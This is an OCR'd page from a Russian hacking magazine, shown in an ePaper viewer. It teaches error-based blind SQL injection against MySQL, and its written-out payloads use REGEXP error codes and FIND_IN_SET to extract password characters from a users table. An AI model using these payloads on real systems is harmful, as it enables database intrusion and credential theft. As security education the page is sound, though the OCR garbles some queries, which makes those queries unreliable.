27.11.2014 Views

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

взлом<br />

ИСПОЛЬЗОВАНИЕ FIND_IN_SET() +<br />

MORE1ROW<br />

Если хорошенько поиграться с методом, предложенным выше,<br />

можно заметить, что все его минусы сводятся к тому, что далеко<br />

не на всех сайтах возможно получить достаточное количество<br />

различных страниц, зависящих от одного параметра. Решим эту<br />

проблему. Вспомним метод, предложенный Elekt'ом в ][ #111,<br />

который основан на использовании ошибки «Subquery returns<br />

more than 1 row».Суть метода заключается в том, чтобы заставить<br />

скрипт выводить ошибку SQL в зависимости от результата<br />

SQL-запроса. На данный момент, чтобы спровоцировать БД на<br />

вывод ошибки, наиболее часто используется запрос:<br />

SELECT 1 UNION SELECT 2<br />

– который вернет ошибку:<br />

#1242 — Subquery returns more than 1 row<br />

ПРИМЕР ЭКСПЛОЙТА, НАПИСАННОГО ЯВНО НОВИЧКОМ<br />

Также ZaCo нашел альтернативный вариант запроса, который<br />

провоцирует БД на вывод ошибки в зависимости от условия:<br />

"x" regexp concat("x{1,25", if(@@version5,<br />

"5}", "6}")<br />

select 1 regexp if(1=1,'(',2)<br />

#1139 — Got error 'parentheses not balanced'<br />

from regexp<br />

INFO<br />

В том случае, если версия MySql не равна 5, этот запрос вернет<br />

ошибку:<br />

#1139 — Got error 'invalid repetition<br />

count(s)' from regexp.<br />

Немного порывшись в исходниках MySql и погуглив, можно<br />

найти еще 9 ошибок, которые возвращает неправильный<br />

regexp. Итого, от сервера мы можем получить 11 видов ошибок +<br />

1 состояние, когда ошибки нет:<br />

SELECT 1<br />

No error<br />

select if(1=1,(select 1 union select 2),2)<br />

#1242 — Subquery returns more than 1 row<br />

select 1 regexp if(1=1,"x{1,0}",2)<br />

#1139 — Got error 'invalid repetition<br />

count(s)' from regexp<br />

select 1 regexp if(1=1,"x{1,(",2)<br />

#1139 — Got error 'braces not balanced' from<br />

regexp<br />

select 1 regexp if(1=1,'[[:]]',2)<br />

#1139 — Got error 'invalid character class'<br />

from regexp<br />

select 1 regexp if(1=1,'[[',2)<br />

#1139 — Got error 'brackets ([ ]) not balanced'<br />

from regexp<br />

select 1 regexp if(1=1,'(({1}',2)<br />

#1139 — Got error 'repetition-operator operand<br />

invalid' from regexp<br />

select 1 regexp if(1=1,'',2)<br />

#1139 — Got error 'empty (sub)expression' from<br />

regexp<br />

XÀÊÅÐ 07 /127/ 09<br />

select 1 regexp if(1=1,'[2-1]',2)<br />

#1139 — Got error 'invalid character range'<br />

from regexp<br />

select 1 regexp if(1=1,'[[.ch.]]',2)<br />

#1139 — Got error 'invalid collating element'<br />

from regexp<br />

select 1 regexp if(1=1,'\\',2)<br />

#1139 — Got error 'trailing backslash (\)' from<br />

regexp<br />

Пока просто примем это во внимание. Теперь самое время<br />

вспомнить о функции find_in_set. Если искомый символ есть во<br />

множестве подстрок, она вернет номер подстроки, если нет —<br />

вернет 0. Попробуем привязать результат работы этой функции<br />

к различным кодам ошибок и передадим вот такой запрос:<br />

select * from users where id=-1<br />

AND "x" regexp<br />

concat("x{1,25",<br />

if(<br />

find_in_set(<br />

substring((select passwd from users where<br />

id=1),1,1),<br />

'a,b,c,d,e,f,1,2,3,4,5,6'<br />

)>0,<br />

(select 1 union select 2),<br />

"6}"<br />

)<br />

)<br />

В результате, если первый символ пароля находится во множестве<br />

'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернет:<br />

#1242 — Subquery returns more than 1 row<br />

А если не находится, то:<br />

#1139 — Got error 'invalid repetition<br />

info<br />

Большим<br />

преимущест вом<br />

последнего из перечисленных<br />

методов<br />

является то, что он<br />

с тем же успехом<br />

может работать<br />

и в INSERT,<br />

и в UPDATE запросах.<br />

DVD<br />

dvd<br />

На диске ты сможешь<br />

найти скрипты для<br />

работы с SQL-инъекциями<br />

с использованием<br />

описанных<br />

в статье методов.<br />

067

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!